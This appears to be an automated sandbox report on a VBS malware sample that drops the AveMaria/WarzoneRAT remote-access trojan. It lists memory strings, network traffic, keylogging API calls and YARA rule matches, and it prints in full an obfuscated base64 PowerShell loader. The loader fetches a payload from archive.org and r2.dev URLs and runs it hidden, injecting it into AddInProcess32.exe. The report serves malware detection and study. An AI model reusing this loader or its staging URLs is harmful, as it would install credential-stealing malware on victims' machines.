Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A3135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev
Source: powershell.exe, 00000002.00000002.1453682043.0000018D5A059000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1399989665.000001B2A2B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A4290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: mozglue.dll.5.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://www.mozilla.com0
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: powershell.exe, 00000002.00000002.1453682043.0000018D59FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.1453682043.0000018D5A044000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1399989665.000001B2A2B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: AddInProcess32.exe	String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeper
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeperC:
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1399307336.000001B2A0BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtYSD;$base64Content
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtYSD;dk7base64Content
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A447C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A4290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A4290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A2F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A2F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev/onye.txt
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.10:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.10:49703 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040813A GetAsyncKeyState,wsprintfW,GetAsyncKeyState,wsprintfW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetKeyNameTextW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,CallNextHookEx,

5_2_0040813A

Source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_7ccc600d-6

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Author: unknown
Source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Author: unknown
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Author: unknown
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Author: unknown
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: AveMaria_WarZone Author: unknown
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7816, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1352, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040EDA9 GetCurrentProcess,NtQueryInformationProcess,

5_2_0040EDA9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF7BFEE0EF2	4_2_00007FF7BFEE0EF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF7BFEF0E5D	4_2_00007FF7BFEF0E5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF7BFFB0644	4_2_00007FF7BFFB0644
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00413279	5_2_00413279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0041DEAA	5_2_0041DEAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC92770	5_2_6CC92770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCAB782	5_2_6CCAB782
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC80DCD	5_2_6CC80DCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD1AE57	5_2_6CD1AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD1CB80	5_2_6CD1CB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD1CB6B	5_2_6CD1CB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCF8B20	5_2_6CCF8B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCE65E4	5_2_6CCE65E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC726E5	5_2_6CC726E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCB668F	5_2_6CCB668F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCAA67B	5_2_6CCAA67B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCE07C9	5_2_6CCE07C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCC628B	5_2_6CCC628B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCD2274	5_2_6CCD2274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCD23AC	5_2_6CCD23AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC6DC7E	5_2_6CC6DC7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC9FFE3	5_2_6CC9FFE3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 004036F7 appears 59 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00411E88 appears 49 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 6CCC78D9 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 6CCA1B0E appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 6CC96BFC appears 79 times

Source: 89SkYNNpdi.vbs

Initial sample: Strings found which are bigger than 50

Source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
